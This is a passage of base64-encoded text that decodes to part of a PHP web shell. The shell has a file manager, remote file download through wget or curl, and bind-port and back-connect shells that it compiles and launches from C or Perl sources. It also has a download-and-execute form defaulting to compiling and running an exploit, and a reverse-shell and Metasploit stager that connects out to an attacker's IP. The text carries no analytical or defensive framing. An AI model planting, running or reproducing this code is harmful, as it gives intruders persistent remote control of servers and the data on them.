R1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7JyAvPiA8L2Zvcm0+IDwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii51a3VyYW4oJGZpbGUpLiI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+QWN0aW9uczwvdGQ+PHRkPjxhIGhyZWY9Jz95PSRwd2QmYW1wO2VkaXQ9JGZpbGUnPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoXCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkbD0kZmlsZSc+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9Jz95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiInPnRleHQ8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGUnPmNvZGU8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXtlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iJz48L2Rpdj4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpe2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iOyRmaWxlID0gd29yZHdyYXAoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwiMjQwIiwiXG4iKTtAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7ZWNobyAiPC9kaXY+Ijt9IGVsc2Uge2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iO2VjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpO2VjaG8gIjwvZGl2PiI7fX1lbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXtlY2hvIHNob3dkaXIoJHB3ZCwkcHJvbXB0KTt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSl7aWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pKXskZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107JGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKXskdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTtpZihAZndyaXRlKCRmaWxleiwkY29udGVudCkpICRtc2cgPSAiZmlsZSBzYXZlZCA8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4gIi4kdGltZTtlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiO0BmY2xvc2UoJGZpbGV6KTt9ZWxzZSAkbXNnID0gInBlcm1pc3Npb24gZGVuaWVkIjt9aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9ICRfR0VUWydlZGl0J107aWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpeyRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmlsZXopKXskY29udGVudCAuPSBodG1sZW50aXRpZXMoc3RyX3JlcGxhY2UoIicnIiwiJyIsZmdldHMoJGZpbGV6KSkpO30NCkBmY2xvc2UoJGZpbGV6KTt9Pz48Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOz8+IiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+IA0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPiANCjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPiA8dHI+DQo8dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOz8+IiAvPg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+IA0KJm5ic3A7PD9waHAgZWNobyAkbXNnOz8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd1cGxvYWQnKSl7aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKXtpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpeyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTskdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHBpbmRhaCA9ICRwYXRoLiRmbmFtZTskc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpO2lmICgkc3RhdCkgeyRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjt9IGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fSANCmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7JHBpbGloYW4gPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTskd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7JHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTtpZihpc19maWxlKCRwaW5kYWgpKXskbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7fWVsc2UgJG1zZyA9ImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjt9Pz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPiA8dHI+PHRoIGNvbHNwYW49IjIiPkxvY2FsPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz48L3RkPjwvdHI+IDwvdHI+IDwvdGFibGU+PC9mb3JtPiA8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5SZW1vdGU8L3RoPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCI+IDx0YWJsZT48dHI+PHRkPmxpbms8L3RkPg0KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3NpdGUvZmlsZS4qIj48L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+DQo8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7Pz4iIC8+PC90ZD48L3RyPiA8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+IDxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IDwvdHI+IDwvdGFibGU+IDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCjw/cGhwIH0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbmV0c3Bsb2l0Jykpew0KaWYgKGlzc2V0KCRfUE9TVFsnYmluZCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTskcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7dHVsaXMoImJkYy5jIiwkcG9ydF9iaW5kX2JkX2MpO2V4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpO2V4ZSgiY2htb2QgNzc3IGJkYyIpO0B1bmxpbmsoImJkYy5jIik7ZXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIi4vYmRjICRwb3IiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO319IA0KZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgeyRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7JHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pO3R1bGlzKCJiZHAiLCRwb3J0X2JpbmRfYmRfcGwpO2V4ZSgiY2htb2QgNzc3IGJkcCIpOyRwMj13aGljaCgicGVybCIpO2V4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO30gfSANCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTtleGUoImdjYyAtbyBiY2MgYmNjLmMiKTtleGUoImNobW9kIDc3NyBiY2MiKTtAdW5saW5rKCJiY2MuYyIpO2V4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyRtc2cgPSAidHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30gDQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY3AiLCRiYWNrX2Nvbm5lY3QpOw0KZXhlKCJjaG1vZCAreCBiY3AiKTskcDI9d2hpY2goInBlcmwiKTtleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgeyRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7JHd1cmwgPSB0cmltKCRfUE9TVFsnd3VybCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7DQppZihpc19maWxlKCRuYW1hZmlsZSkpeyRtc2cgPSBleGUoJHdjbWQpO30NCmVsc2UgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjt9Pz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnRfcGFzczs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0PjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpbmQiIHZhbHVlPSJCaW5kIiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPjx0YWJsZT4gPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKTs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7Pz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFja2Nvbm4iIHZhbHVlPSJDb25uZWN0IiBjbGFzcz0iaW5wdXR6YnV0IiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPjx0cj48dGQ+Y21kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9IndjbWQiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweDsiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD9waHAgZWNobyAkbXNnOz8+PC9kaXY+PGJyPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9J25ldHNwbG9pdCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjxociBjb2xvcj0nIzRDODNBRic+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjEwMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc